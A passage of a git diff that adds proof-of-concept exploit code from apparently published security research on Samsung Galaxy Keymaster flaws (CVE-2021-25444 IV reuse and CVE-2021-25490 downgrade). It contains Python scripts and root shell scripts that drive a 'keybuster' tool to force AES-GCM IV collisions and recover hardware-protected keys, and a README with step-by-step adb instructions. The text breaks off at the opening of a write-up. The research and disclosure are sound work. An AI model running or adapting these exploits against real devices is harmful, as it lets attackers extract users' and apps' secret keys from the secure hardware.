to get ephermeral key + ephemeral_key = bytes([transport_key[i] ^ xor_mask[i] for i in range(32)]) + logging.debug(f'ephemeral_key: {hexlify(transport_key)}') + + logging.debug(f'decrypting the secure secret with the AES ephermeral key') + secret = decrypt_and_verify(ephemeral_key, iv, encrypted_secret, tag) + logging.info(f'decrypted secret: {hexlify(secret)}') + + return secret + + +@click.command() +@click.argument('recovered-wrapping-key-path') +@click.argument('secure-key-wrapper-path') +@click.argument('xor-mask-path') +def main(recovered_wrapping_key_path, secure_key_wrapper_path, xor_mask_path): + """ + Usage: python poc_attacker.py recovered-wrapping_key out mask + + Where out is the SecureKeyWrapper ASN1 created by a remote server (e.g. poc_server.py). + """ + with open(recovered_wrapping_key_path, 'rb') as f: + recovered_wrapping_key = f.read() + wrapping_key_private = RSA.importKey(recovered_wrapping_key) + logging.debug(f'wrapping_key_private.d: {hex(wrapping_key_private.d)}') + + with open(secure_key_wrapper_path, 'rb') as f: + encoded_secure_key_wrapper = f.read() + + with open(xor_mask_path, 'rb') as f: + xor_mask = f.read() + + secret = emulate_attacker(wrapping_key_private, encoded_secure_key_wrapper, xor_mask) + + with open('recovered-secret.bin', 'wb') as f: + f.write(secret) + + +if __name__ == '__main__': + main() diff --git a/poc/downgrade/poc_requirements.txt b/poc/downgrade/poc_requirements.txt new file mode 100644 index 0000000..6620c61 --- /dev/null +++ b/poc/downgrade/poc_requirements.txt @@ -0,0 +1,3 @@ +pyasn1 +pycryptodome +click diff --git a/poc/downgrade/poc_s10_secure_key_import.sh b/poc/downgrade/poc_s10_secure_key_import.sh new file mode 100755 index 0000000..8938921 --- /dev/null +++ b/poc/downgrade/poc_s10_secure_key_import.sh @@ -0,0 +1,62 @@ +#!/system/bin/sh + +set -e +cd /data/local/tmp +chmod +x ./keybuster + +if [ ! -f "rsa-4096-private-key.p8" ]; then + echo "must copy rsa-4096-private-key.p8 to /data/local/tmp" + exit 1 +fi + +# this script should run on the device as root +# adb shell +# su + +echo "Attack log: $(realpath attack.log)" + +sep=$(printf "%100s") + +echo -e ${sep// /-} + +echo -n "1. Generating RSA wrapping key as v15 ekey blob... (wait for it) " + +# generate the wrapping key as v15 (can also specify app_id and app_data with -i or -d) +./keybuster -c generate -e wrapping_key --algorithm rsa --key-size 4096 --purpose wrap_key --padding oaep --digest sha256 --enc-ver 15 2&>> attack.log + +echo "done" + +# if you wish to verify the correctness of the blob: +# ./keybuster -c get_chars -e wrapping_key + +echo -e ${sep// /-} + +echo -n "2. Extract the IV and encrypted ASN1 of the ekey blob... " + +# extract the IV and encrypted ASN1 of the key (iv-wrapping_key and encrypted-wrapping_key will be created) +./keybuster -c parse_asn1 -e wrapping_key 2&>> attack.log + +echo "done" + +echo -e ${sep// /-} + +echo -n "3. reuse the IV of the target blob to import a known key (must be larger)... " + +# reuse the IV of the target blob to import a known key (must be larger) +./keybuster -c import -e known -p rsa-4096-private-key.p8 --algorithm rsa --key-size 4096 --purpose wrap_key --padding oaep --digest sha256 --iv iv-wrapping_key --enc-ver 15 2&>> attack.log + +echo "done" + +echo -e ${sep// /-} + +echo -n "4. perform the IV reuse attack to recover the private key material of wrapping key... " + +# xor the encrypted key material of the target blob with the encrypted key material of the known key and with the known plaintext +./keybuster -c attack -p rsa-4096-private-key.p8 -e encrypted-known -s encrypted-wrapping_key -o recovered-wrapping_key 2&>> attack.log + +echo "done" + +echo -e ${sep// /-} + +echo 'On your computer, download the recovered key using "adb pull /data/local/tmp/recovered-wrapping_key"' +echo 'then verify it with "openssl rsa -inform DER -in recovered-wrapping_key -check -text"' diff --git a/poc/downgrade/poc_secure_key_import.md b/poc/downgrade/poc_secure_key_import.md new file mode 100644 index 0000000..e69de29 diff --git a/poc/downgrade/poc_server.py b/poc/downgrade/poc_server.py new file mode 100644 index 0000000..3825543 --- /dev/null +++ b/poc/downgrade/poc_server.py @@ -0,0 +1,136 @@ +import os +from binascii import hexlify + +import logging +import click + +from Crypto.PublicKey import RSA +from Crypto.Cipher import AES, PKCS1_OAEP +from Crypto.Hash import SHA256, SHA1 +from Crypto.Signature import pss + +from poc_asn1 import AuthorizationList, KeyDescription, SecureKeyWrapper, encode_secure_key_wrapper + +KM_KEY_FORMAT_RAW = 3 + +logging.basicConfig(format='[%(levelname)s] %(message)s', level=logging.DEBUG) + + +def wrap(wrapping_key_public, plaintext): + """ + RSA-OAEP key wrapping. + + Args: + wrapping_key_public: The public key of the RSA wrapping key + plaintext: The plaintext key to wrap + """ + rsa_cipher = PKCS1_OAEP.new( + key=wrapping_key_public, hashAlgo=SHA256, mgfunc=lambda x, y: pss.MGF1(x, y, SHA1)) + return rsa_cipher.encrypt(plaintext) + + +def encrypt(key, iv, plaintext): + """ + AES-GCM encryption. + + Args: + key: The AES encryption key + iv: The AES initialization vector + plaintext: The plaintext to encrypt + """ + aes_cipher = AES.new(key, AES.MODE_GCM, iv) + return aes_cipher.encrypt_and_digest(plaintext) + + +def do_server(wrapping_key_public): + """ + Emulate the remote server in Secure Key Import. + + The server takes the secret key and encrypts it with AES-GCM using ephermeralKey, then + wraps the encryption key (after xoring it with a mask) with RSA-OAEP and finally + returns an ASN1 serialization of SecureKeyWrapper. + + See https://developer.android.com/reference/android/security/keystore/WrappedKeyEntry. + + Args: + wrapping_key_public: The public RSA wrapping key. + """ + secret = os.urandom(32) + logging.info(f'secret: {hexlify(secret)}') + + ref_path = 'server-secret-for-reference.bin' + logging.debug(f'creating {ref_path}') + with open(ref_path, 'wb') as f: + f.write(secret) + + # generate IV + iv = os.urandom(12) + logging.debug(f'iv: {hexlify(iv)}') + + # generate 256-bit AES encryption key + ephemeral_key = os.urandom(32) + logging.debug(f'ephemeral_key: {hexlify(ephemeral_key)}') + + # xor_mask = os.urandom(32) + xor_mask = b'\x00' * 32 + logging.debug(f'xor_mask: {hexlify(xor_mask)}') + + # xor with mask to get transportKey + transport_key = bytes([ephemeral_key[i] ^ xor_mask[i] for i in range(32)]) + logging.debug(f'transport_key: {hexlify(transport_key)}') + + logging.debug(f'wrapping the transport key with the public RSA wrapping key') + encrypted_transport_key = wrap(wrapping_key_public, transport_key) + + logging.debug(f'encrypting the secure secret with the AES ephermeral key') + encrypted_secret, tag = encrypt(ephemeral_key, iv, secret) + + logging.debug(f'encrypted_secret: {hexlify(encrypted_secret)}') + logging.debug(f'tag: {hexlify(tag)}') + + authorizationList = AuthorizationList() + + key_description = KeyDescription() + key_description['keyFormat'] = KM_KEY_FORMAT_RAW + key_description['keyParams'] = authorizationList + + secure_key_wrapper = SecureKeyWrapper() + secure_key_wrapper['version'] = 0 + secure_key_wrapper['encryptedTransportKey'] = encrypted_transport_key + secure_key_wrapper['initializationVector'] = iv + secure_key_wrapper['keyDescription'] = key_description + secure_key_wrapper['encryptedKey'] = encrypted_secret + secure_key_wrapper['tag'] = tag + + encoded_secure_key_wrapper = encode_secure_key_wrapper(secure_key_wrapper) + + return encoded_secure_key_wrapper, xor_mask + + +@click.command() +@click.argument('recovered-wrapping-key-path') +@click.argument('output-secure-key-wrapper') +@click.argument('output-xor-mask') +def main(recovered_wrapping_key_path, output_secure_key_wrapper, output_xor_mask): + """ + Usage: python poc_server.py recovered-wrapping_key out mask + """ + with open(recovered_wrapping_key_path, 'rb') as f: + recovered_wrapping_key = f.read() + wrapping_key_private = RSA.importKey(recovered_wrapping_key) + wrapping_key_public = wrapping_key_private.publickey() + logging.debug(f'wrapping_key_public.e: {hex(wrapping_key_public.e)}') + + encoded_secure_key_wrapper, xor_mask = do_server(wrapping_key_public) + + logging.debug(f'creating {output_secure_key_wrapper}') + with open(output_secure_key_wrapper, 'wb') as f: + f.write(encoded_secure_key_wrapper) + + logging.debug(f'creating {output_xor_mask}') + with open(output_xor_mask, 'wb') as f: + f.write(xor_mask) + + +if __name__ == '__main__': + main() diff --git a/poc/downgrade/rsa-4096-private-key.p8 b/poc/downgrade/rsa-4096-private-key.p8 new file mode 100755 index 0000000..6998e52 Binary files /dev/null and b/poc/downgrade/rsa-4096-private-key.p8 differ diff --git a/poc/iv_reuse/README.md b/poc/iv_reuse/README.md new file mode 100644 index 0000000..15ead6b --- /dev/null +++ b/poc/iv_reuse/README.md @@ -0,0 +1,133 @@ +# IV Reuse + +## Summary + +A privileged attacker can extract the plaintext key material from hardware-protected keys that were encrypted in the Secure World by the Keymaster TA (Trusted Application). + +The root cause of the vulnerability is the ability of an attacker with sufficient permissions (application context or root and SELinux context) in the Normal World to set the IV that the Keymaster TA in the Secure World uses to encrypt key blobs with AES-GCM, for instance in the `importKey` API. This leads to a possible IV reuse attack on AES-GCM that we've exploited to fully recover the key material of encrypted key blobs. + +The attack can lead to catastrophic failure: for instance, any application that uses the [Hardware-backed Keystore](https://source.android.com/security/keystore) relies on the security of the hardware-protected key blobs, and the trust assumption that the plaintext key material never leaves the Secure World (and shouldn't be accessible from the Normal World) is broken. + +Affected models included Galaxy S9, J3 Top, J7 Top, J7 Duo, TabS4, Tab-A-S-Lite, A6 Plus, A9S. Later models, including S10, S20, and S21 were vulnerable to a downgrade attack as described in [CVE-2021-25490](../downgrade/README.md), which makes IV reuse possible. Samsung assigned [CVE-2021-25444](https://security.samsungmobile.com/securityUpdate.smsb?year=2021&month=8) with High severity to the issue and released a patch that prevents malicious IV reuse by removing the option to add a custom IV from the API. + +## Requirements + +Our exploit should work in any process that is able to communicate with the kernel driver that switches to the Secure World, e.g., a system service such as `keystored` (if compromised). + +In reality, rooting the device is not necessary. Even without root or a strong context (from a kernel exploit, for instance), an attacker that achieves code execution inside an application can perform the attack (using only the `importKey` API) to compromise hardware-protected keys that the application created and used. + +We rooted our device using [Magisk](https://github.com/topjohnwu/Magisk) and used the strong context that it provides to run `keybuster`. + +## Overview + +The high level overview of the exploit is as follows: + +1. Create a key blob `blob_a` encryption version that is `v15`. + + - Let `iv-blob_a.bin` be the IV that was used to encrypt `blob_a` (if not given, it should be random) that is stored in the ekey blob. + - Let `encrypted-blob_a.bin` be the encrypted serialized key material, that is `(km_ekey_blob *)blob_a->ekey` + +2. Create a key blob `blob_b` with known key material using the same application ID, application data and IV that were used to encrypt `blob_a`. This key must be at least as long as the first key in order for us to xor the ciphertexts. + + - We pass `iv-blob_a.bin` (parsed from the ASN1 deserialization of `blob_a.bin`) to the creation of `blob_b` (import/generate) to create the collision + - Let `encrypted-blob_b.bin` be the encrypted serialized key material, that is `(km_ekey_blob *)blob_b->ekey` + - Let `plain-blob_b.bin` be the known key material of `blob_b` (the key that we import, or the result of `exportKey` on an exportable symmetric key) + +3. Finally, xor `plain-blob_b.bin` with `encrypted-blob_b.bin` and `encrypted-blob_a.bin` to recover the plaintext key material of `blob_a`. + +The following image from the paper shows why this works: +![xor.png](/images/xor.png "xor.png") + +On Galaxy S9 (and similar devices) the KDF in `v20` blobs is deterministic therefore all key blobs are vulnerable (both `v20` and `v15`). + +Overall, we managed to fully recover an unknown key blob that the Keymaster TA encrypted in the TEE. + +## Running the PoC + +To reproduce the PoC, perform the following steps: + +1. Upload `keybuster` to the device (`adb push`) to `/data/local/tmp/` + - If needed, compile it with `ndk-build -C jni` +2. Upload the PoC scripts ([`poc.sh`](poc.sh), [`poc_rsa.sh`](poc_rsa.sh) and - for the S9 - [`poc_s9.sh`](poc_s9.sh)) and the keys that they use ([`key_1_4096.der`](key_1_4096.der) and [`key_2_4096.der`](key_2_4096.der) for [`poc_rsa.sh`](poc_rsa.sh)) to `/data/local/tmp/` +3. Set executable permissions `chmod +x /data/local/tmp/poc*` +4. Execute the PoC scripts + +An example of commands to run on the desktop computer: +```bash +adb push keybuster /data/local/tmp/keybuster # can compile with `ndk-build -C jni` if needed +adb push poc.sh /data/local/tmp/poc.sh +adb push poc_rsa.sh /data/local/tmp/poc_rsa.sh +adb push key_1_4096.der /data/local/tmp/key_1_4096.der +adb push key_2_4096.der /data/local/tmp/key_2_4096.der +# if the device is S9, run `adb push poc_s9.sh /data/local/tmp/poc_s9.sh` +``` + +An example of commands to run on the Android device: +```bash +adb shell +su # enter a strong context, e.g. by rooting with Magisk +cd /data/local/tmp +chmod +x poc* +./poc.sh +./poc_rsa.sh +# if the device is S9, run `./poc_s9.sh` +``` + +An example of the files in `/data/local/tmp` before running the PoC: +```bash +star2lte:/data/local/tmp # ls -la +total 104 +drwxrwx--x 2 shell shell 4096 2021-05-23 23:36 . +drwxr-x--x 5 root root 4096 2021-05-23 23:14 .. +-rw-rw-rw- 1 shell shell 2348 2021-04-27 02:20 key_1_4096.der +-rw-rw-rw- 1 shell shell 2350 2021-04-27 02:20 key_2_4096.der +-rw-rw-rw- 1 shell shell 56816 2021-05-22 18:01 keybuster +-rwxrwxrwx 1 shell shell 5006 2021-05-22 17:49 poc.sh +-rwxrwxrwx 1 shell shell 4713 2021-05-22 17:49 poc_rsa.sh +-rwxrwxrwx 1 shell shell 4807 2021-05-22 17:49 poc_s9.sh +``` + +An example of the files in `/data/local/tmp` after running the PoC scripts ([`poc.sh`](poc.sh), [`poc_rsa.sh`](poc_rsa.sh) and [`poc_s9.sh`](poc_s9.sh)): + +```bash +star2lte:/data/local/tmp # ls -la +total 180 +drwxrwx--x 2 shell shell 4096 2021-05-23 23:37 . +drwxr-x--x 5 root root 4096 2021-05-23 23:14 .. +-rw-r--r-- 1 root root 32 2021-05-23 23:36 aes_256_key.bin +-rw-r--r-- 1 root root 34600 2021-05-23 23:37 attack.log +-rw-r--r-- 1 root root 2632 2021-05-23 23:37 blob_a.bin +-rw-r--r-- 1 root root 2659 2021-05-23 23:37 blob_b.bin +-rw-r--r-- 1 root root 2567 2021-05-23 23:37 encrypted-blob_a.bin +-rw-r--r-- 1 root root 2594 2021-05-23 23:37 encrypted-blob_b.bin +-rw-r--r-- 1 root root 12 2021-05-23 23:37 iv-blob_a.bin +-rw-r--r-- 1 root root 12 2021-05-23 23:37 iv-blob_b.bin +-rw-rw-rw- 1 shell shell 2348 2021-04-27 02:20 key_1_4096.der +-rw-rw-rw- 1 shell shell 2350 2021-04-27 02:20 key_2_4096.der +-rwxrwxrwx 1 shell shell 56816 2021-05-22 18:01 keybuster +-rw-r--r-- 1 root root 2350 2021-05-23 23:37 plain-blob_b.bin +-rwxrwxrwx 1 shell shell 5006 2021-05-22 17:49 poc.sh +-rwxrwxrwx 1 shell shell 4713 2021-05-22 17:49 poc_rsa.sh +-rwxrwxrwx 1 shell shell 4807 2021-05-22 17:49 poc_s9.sh +-rw-r--r-- 1 root root 2350 2021-05-23 23:37 recovered-blob_a.bin +-rw-r--r-- 1 root root 2348 2021-05-23 23:37 truncated-recovered-blob_a.bin +``` + +## Notes + +Note that `blob_a` can be unknown, and we can verify the correctness of the recovered key by performing a cryptographic operation (e.g. sign/encrypt) - instead, the PoC uses a known key to show that the attack recovers it correctly. + +For an example of recovering RSA keys, see [`poc_rsa.sh`](poc_rsa.sh). To see the same attack on S9, which works on `v20` blobs as well, see [`poc_s9.sh`](poc_s9.sh). + +`key_1_4096.der` and `key_2_4096.der` are DER files for RSA keys that [`poc_rsa.sh`](poc_rsa.sh) uses as an example (input to `importKey`). + +Note that the second key that we import (in order to recover the other key) has to be longer than the recovered key. In our example ([`poc_rsa.sh`](poc_rsa.sh)), the DER of the second key is longer, so we get extra bytes at the end of the recovered DER which we can truncate in order to get the full key material. + +The following image shows a successful run of [`poc.sh`](poc.sh) on a Galaxy S10: +![poc.png](/images/poc.png "poc.png") + +The following image shows a successful run of [`poc_s9.sh`](poc_s9.sh) on a Galaxy S9: +![poc_s9.png](/images/poc_s9.png "poc_s9.png") + +The following image shows a successful run of [`poc_rsa.sh`](poc_rsa.sh) on a Galaxy S21: +![poc_rsa.png](/images/poc_rsa.png "poc_rsa.png") diff --git a/poc/iv_reuse/key_1_4096.der b/poc/iv_reuse/key_1_4096.der new file mode 100755 index 0000000..418d63a Binary files /dev/null and b/poc/iv_reuse/key_1_4096.der differ diff --git a/poc/iv_reuse/key_2_4096.der b/poc/iv_reuse/key_2_4096.der new file mode 100755 index 0000000..17b8151 Binary files /dev/null and b/poc/iv_reuse/key_2_4096.der differ diff --git a/poc/iv_reuse/poc.sh b/poc/iv_reuse/poc.sh new file mode 100755 index 0000000..24202b6 --- /dev/null +++ b/poc/iv_reuse/poc.sh @@ -0,0 +1,121 @@ +#!/bin/sh + +set -e +cd /data/local/tmp +chmod +x ./keybuster + +echo "\ +We show an attack on the Keymaster TA in Samsung Galaxy devices: we will force a collision \ +in both the encryption key and the IV that are used to +encrypt two key blobs - blob_a (unknown target key) and blob_b (known key) - \ +then xor the encrypted data of blob_a with +the encrypted data of blob_b and with the known plaintext of blob_b to recover the plaintext of blob_a." + +echo "\nIn reality blob_a is unknown. For the purposes of the PoC, \ +we use a known key for blob_a and show that we can fully recover it from the xor of its +encrypted key material with the encrypted key material of blob_b (that collides with it) \ +and the known key material of blob_b. +Other ways to verify the correctness of the recovered key include performing a cryptographic operation (e.g. sign/decrypt) +with blob_a and with the recovered key and verifying that the outputs are equal." + +echo "\nIn this demo, we import aes_256_key.bin (a random 32 byte key) as blob_a, +then generate an exportable AES-256 key blob as blob_b with colliding encryption key and IV and +recover the key material of blob_a.\n" + +echo -n "creating a random AES-256 key from /dev/urandom to aes_256_key.bin (for blob_a)..." +dd if=/dev/urandom of=aes_256_key.bin bs=32 count=1 &> /dev/null +echo "done" + +echo "original aes_256_key.bin: " +xxd aes_256_key.bin + +echo "Attack log: $(realpath attack.log)" + +sep=$(printf "%100s") + +echo -e ${sep// /-} + +# 1. Generate the target ekey blob (that we wish to recover). +# +# For the purposes of the PoC, we use a known key to show that the attack fully recovers it. +# In reality, the key material for blob_a can be unknown. +# +# +# We can generate an ekey blob with a known key blob using one of the following options: +# +# a. generateKey command for a symmetric key (e.g. AES/DES) with KM_TAG_EXPORTABLE +# b. importKey command for any key (AES/DES/RSA/EC/HMAC) +# +# The tool (keybuster) parses the output ekey blob and creates 3 files: +# 1. The IV that was used to encrypt it (iv-blob_a.bin) taken from KM_TAG_EKEY_BLOB_IV +# 2. The encrypted serialized key material (encrypted-blob_a.bin) taken from ekey_blob->ekey +# 3. The ekey blob (blob_a.bin) +# + +echo -n "1. Importing aes_256_key.bin to a v15 ekey blob (blob_a.bin)..." + +./keybuster -c import -i id -d data -e blob_a.bin --key-size 256 --enc-ver 15 -p aes_256_key.bin 2&> attack.log + +echo "done" + +echo -e ${sep// /-} + +# 2. Create an ekey blob with known key material that collides with the first blob, using one of the following options: +# +# a. generateKey command for a symmetric key (e.g. AES/DES) with KM_TAG_EXPORTABLE +# b. importKey command for any key (AES/DES/RSA/EC/HMAC) +# +# The tool (keybuster) will pass the IV that we specify (iv-blob_a.bin) to the keymaster, +# then create the output ekey blob (blob_b.bin) as well as the encrypted key material (encrypted-blob_b.bin). +# Then, it will export the key material (to plain-blob_b.bin) - alternatively, we can import a known key. +# +# To demonstrate that we can export raw key material (which is another design flaw), +# we generate an exportable symmetric key and use the exportKey command to retrieve its key. +# +# Overall: +# - A new ekey blob (blob_b.bin) will be created using the same IV that the other blob used (blob_a) +# - The new ekey blob has known key material (plain-blob_b.bin) + +echo -n "2.1 Generating an exportable v15 key blob (blob_b) with the same IV, app id and app data \ +that were used to create blob_a..." + +./keybuster -c generate -i id -d data -e blob_b.bin --key-size 256 --enc-ver 15 --iv iv-blob_a.bin --exportable 2&>> attack.log + +echo "done" + +echo -n "2.2 Export the known key material of blob_b to plain-blob_b.bin using exportKey..." + +./keybuster -c export -i id -d data -e blob_b.bin 2&>> attack.log + +echo "done" + +echo "Note: instead of generating an exportable key we could simply import a known key" + +echo -e ${sep// /-} + +# 3. Xor the known key, its ekey and the unknown ekey to fully recover the unknown key material. +# +# The tool (keybuster) receives: +# - the known key material (plain-blob_b.bin) +# - the encrypted key material for the known blob (encrypted-blob_b.bin) +# - the encrypted key material for the unknown blob (blob_b.bin) +# +# It outputs the recovered key material for the unknown ekey (recovered-blob_a.bin) +# + +echo -n "3. Xor the known key material of blob_b with the encrypted key material of blob_b and the encrypted key material of blob_a..." + +./keybuster -c attack -p plain-blob_b.bin -e encrypted-blob_b.bin -s encrypted-blob_a.bin -o recovered-blob_a.bin 2&>> attack.log + +echo "done" + +echo "recovered plaintext for blob_a is $(realpath recovered-blob_a.bin): " +xxd recovered-blob_a.bin + +echo -e ${sep// /-} + +echo -n "comparing the recovered key against the key we imported for blob_a (aes_256_key.bin)..." +diff recovered-blob_a.bin aes_256_key.bin +echo "done" + +echo "successully recovered key material!" diff --git a/poc/iv_reuse/poc_rsa.sh b/poc/iv_reuse/poc_rsa.sh new file mode 100755 index 0000000..276d1b4 --- /dev/null +++ b/poc/iv_reuse/poc_rsa.sh @@ -0,0 +1,117 @@ +#!/bin/sh + +set -e +cd /data/local/tmp +chmod +x ./keybuster + +if [ ! -f "key_1_4096.der" ]; then + echo "must copy key_1_4096.der to /data/local/tmp" + exit 1 +fi +if [ ! -f "key_2_4096.der" ]; then + echo "must copy key_2_4096.der to /data/local/tmp" + exit 1 +fi + +echo "\ +We show an attack on the Keymaster TA in Samsung Galaxy devices: we will force a collision \ +in both the encryption key and the IV that are used to +encrypt two key blobs - blob_a (unknown target key) and blob_b (known key) - \ +then xor the encrypted data of blob_a with +the encrypted data of blob_b and with the known plaintext of blob_b to recover the plaintext of blob_a." + +echo "\nIn reality blob_a is unknown. For the purposes of the PoC, \ +we use a known key for blob_a and show that we can fully recover it from the xor of its +encrypted key material with the encrypted key material of blob_b (that collides with it) \ +and the known key material of blob_b. +Other ways to verify the correctness of the recovered key include performing a cryptographic operation (e.g. sign/decrypt) +with blob_a and with the recovered key and verifying that the outputs are equal." + +echo "\nIn this demo, we import key_1_4096.der (DER of 4096-bit RSA key) as blob_a, +then import a known key blob as blob_b with colliding encryption key and IV and +recover the key material of blob_a.\n" + +sha256sum key_1_4096.der + +echo "Attack log: $(realpath attack.log)" + +sep=$(printf "%100s") + +echo -e ${sep// /-} + +# 1. Generate the target ekey blob (that we wish to recover). +# +# For the purposes of the PoC, we use a known key to show that the attack fully recovers it. +# In reality, the key material for blob_a can be unknown. +# +# We can generate an ekey blob with a known key blob using importKey command for any key (AES/DES/RSA/EC/HMAC). +# +# The tool (keybuster) parses the output ekey blob and creates 3 files: +# 1. The IV that was used to encrypt it (iv-blob_a.bin) taken from KM_TAG_EKEY_BLOB_IV +# 2. The encrypted serialized key material (encrypted-blob_a.bin) taken from ekey_blob->ekey +# 3. The ekey blob (blob_a.bin) +# + +echo -n "1. Importing key_1_4096.der to a v15 ekey blob..." + +./keybuster -c import -i id -d data -e blob_a.bin --key-size 4096 --enc-ver 15 -p key_1_4096.der --algorithm rsa 2&> attack.log + +echo "done" + +echo -e ${sep// /-} + +# 2. Create an ekey blob with known key material that collides with the first blob, using importKey. +# +# The tool (keybuster) will pass the IV that we specify (iv-blob_a.bin) to the keymaster, +# then create the output ekey blob (blob_b.bin) as well as the encrypted key material (encrypted-blob_b.bin). +# +# Overall: +# - A new ekey blob (blob_b.bin) will be created using the same IV that the other blob used (blob_a) +# - The new ekey blob has known key material (plain-blob_b.bin) + +echo -n "2. Importing a known v15 key blob (key_2_4096.der) with the same IV, app id and app data \ +that were used to create blob_a..." + +./keybuster -c import -i id -d data -e blob_b.bin --key-size 4096 --enc-ver 15 -p key_2_4096.der --algorithm rsa --iv iv-blob_a.bin 2&> attack.log + +echo "done" + +echo "Note: the length of the known key must be at least as long as than the unknown" + +cp key_2_4096.der plain-blob_b.bin + +echo -e ${sep// /-} + +# 3. Xor the known key, its ekey and the unknown ekey to fully recover the unknown key material. +# +# The tool (keybuster) receives: +# - the known key material (plain-blob_b.bin) +# - the encrypted key material for the known blob (encrypted-blob_b.bin) +# - the encrypted key material for the unknown blob (blob_b.bin) +# +# It outputs the recovered key material for the unknown ekey (recovered-blob_a.bin) +# + +echo -n "3. Xor the known key material of blob_b with the encrypted key material of blob_b and the encrypted key material of blob_a..." + +./keybuster -c attack -p plain-blob_b.bin -e encrypted-blob_b.bin -s encrypted-blob_a.bin -o recovered-blob_a.bin 2&>> attack.log + +echo "done" + +echo -e ${sep// /-} + +der_1_len=$(stat -c %s key_1_4096.der) +der_2_len=$(stat -c %s key_2_4096.der) +recovered_len=$(stat -c %s recovered-blob_a.bin) + +echo "key_1_4096.der has $der_1_len bytes, key_2_4096.der has $der_2_len bytes and recovered-blob_a has $recovered_len bytes" +echo "since recovered-blob_a has extra bytes, truncate it to $der_1_len bytes (truncated-recovered-blob_a.bin)\n" +dd if=recovered-blob_a.bin of=truncated-recovered-blob_a.bin bs=$der_1_len count=1 &> /dev/null + +echo -n "comparing the truncated recovered key against the key we imported for blob_a (key_1_4096.der)..." +diff truncated-recovered-blob_a.bin key_1_4096.der +echo "done" + +sha256sum truncated-recovered-blob_a.bin + +echo "successully recovered key material!" diff --git a/poc/iv_reuse/poc_s9.sh b/poc/iv_reuse/poc_s9.sh new file mode 100755 index 0000000..55d16eb --- /dev/null +++ b/poc/iv_reuse/poc_s9.sh @@ -0,0 +1,118 @@ +#!/bin/sh + +set -e +cd /data/local/tmp +chmod +x ./keybuster + +if [ ! -f "key_1_4096.der" ]; then + echo "must copy key_1_4096.der to /data/local/tmp" + exit 1 +fi +if [ ! -f "key_2_4096.der" ]; then + echo "must copy key_2_4096.der to /data/local/tmp" + exit 1 +fi + +echo "\ +We show an attack on the Keymaster TA in Samsung Galaxy devices: we will force a collision \ +in both the encryption key and the IV that are used to +encrypt two key blobs - blob_a (unknown target key) and blob_b (known key) - \ +then xor the encrypted data of blob_a with +the encrypted data of blob_b and with the known plaintext of blob_b to recover the plaintext of blob_a." + +echo "\nIn reality blob_a is unknown. For the purposes of the PoC, \ +we use a known key for blob_a and show that we can fully recover it from the xor of its +encrypted key material with the encrypted key material of blob_b (that collides with it) \ +and the known key material of blob_b. +Other ways to verify the correctness of the recovered key include performing a cryptographic operation (e.g. sign/decrypt) +with blob_a and with the recovered key and verifying that the outputs are equal." + +echo "\nIn this demo, we import key_1_4096.der (DER of 4096-bit RSA key) as blob_a, +then import a known key blob as blob_b with colliding encryption key and IV and +recover the key material of blob_a. +Note that for S9 we don't need to specify '--enc-ver v15' as all encryption versions (including v20) are immediately vulnerable\n" + +sha256sum key_1_4096.der + +echo "Attack log: $(realpath attack.log)" + +sep=$(printf "%100s") + +echo -e ${sep// /-} + +# 1. Generate the target ekey blob (that we wish to recover). +# +# For the purposes of the PoC, we use a known key to show that the attack fully recovers it. +# In reality, the key material for blob_a can be unknown. +# +# We can generate an ekey blob with a known key blob using importKey command for any key (AES/DES/RSA/EC/HMAC). +# +# The tool (keybuster) parses the output ekey blob and creates 3 files: +# 1. The IV that was used to encrypt it (iv-blob_a.bin) taken from KM_TAG_EKEY_BLOB_IV +# 2. The encrypted serialized key material (encrypted-blob_a.bin) taken from ekey_blob->ekey +# 3. The ekey blob (blob_a.bin) +# + +echo -n "1. Importing key_1_4096.der to a ekey blob..." + +./keybuster -c import -i id -d data -e blob_a.bin --key-size 4096 -p key_1_4096.der --algorithm rsa 2&> attack.log + +echo "done" + +echo -e ${sep// /-} + +# 2. Create an ekey blob with known key material that collides with the first blob, using importKey. +# +# The tool (keybuster) will pass the IV that we specify (iv-blob_a.bin) to the keymaster, +# then create the output ekey blob (blob_b.bin) as well as the encrypted key material (encrypted-blob_b.bin). +# +# Overall: +# - A new ekey blob (blob_b.bin) will be created using the same IV that the other blob used (blob_a) +# - The new ekey blob has known key material (plain-blob_b.bin) + +echo -n "2. Importing a known key blob (key_2_4096.der) with the same IV, app id and app data \ +that were used to create blob_a..." + +./keybuster -c import -i id -d data -e blob_b.bin --key-size 4096 -p key_2_4096.der --algorithm rsa --iv iv-blob_a.bin 2&> attack.log + +echo "done" + +echo "Note: the length of the known key must be at least as long as than the unknown" + +cp key_2_4096.der plain-blob_b.bin + +echo -e ${sep// /-} + +# 3. Xor the known key, its ekey and the unknown ekey to fully recover the unknown key material. +# +# The tool (keybuster) receives: +# - the known key material (plain-blob_b.bin) +# - the encrypted key material for the known blob (encrypted-blob_b.bin) +# - the encrypted key material for the unknown blob (blob_b.bin) +# +# It outputs the recovered key material for the unknown ekey (recovered-blob_a.bin) +# + +echo -n "3. Xor the known key material of blob_b with the encrypted key material of blob_b and the encrypted key material of blob_a..." + +./keybuster -c attack -p plain-blob_b.bin -e encrypted-blob_b.bin -s encrypted-blob_a.bin -o recovered-blob_a.bin 2&>> attack.log + +echo "done" + +echo -e ${sep// /-} + +der_1_len=$(stat -c %s key_1_4096.der) +der_2_len=$(stat -c %s key_2_4096.der) +recovered_len=$(stat -c %s recovered-blob_a.bin) + +echo "key_1_4096.der has $der_1_len bytes, key_2_4096.der has $der_2_len bytes and recovered-blob_a has $recovered_len bytes" +echo "since recovered-blob_a has extra bytes, truncate it to $der_1_len bytes (truncated-recovered-blob_a.bin)\n" +dd if=recovered-blob_a.bin of=truncated-recovered-blob_a.bin bs=$der_1_len count=1 &> /dev/null + +echo -n "comparing the truncated recovered key against the key we imported for blob_a (key_1_4096.der)..." +diff truncated-recovered-blob_a.bin key_1_4096.der +echo "done" + +sha256sum truncated-recovered-blob_a.bin + +echo "successully recovered key material!" diff --git a/writeup.md b/writeup.md new file mode 100644 index 0000000..a90ff33 --- /dev/null +++ b/writeup.md @@ -0,0 +1,679 @@ +# Writeup + +Our extended paper describes our research on the cryptographic design and implementation of Android's Hardware-Backed Keystore in Samsung's Galaxy devices. This documents extends the paper by providing technical details that help understand our research. + +As Kinibi and QSEE have been more thoroughly studied by the security community (e.g. by [Quarkslab](https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-i.html) and by [Beniamini](http://bits-please.blogspot.com/2016/05/qsee-privilege-escalation-vulnerability.html)), when we discuss details we refer to TEEGRIS unless otherwise noted. + +This document borrows some text from the appendix of the extended 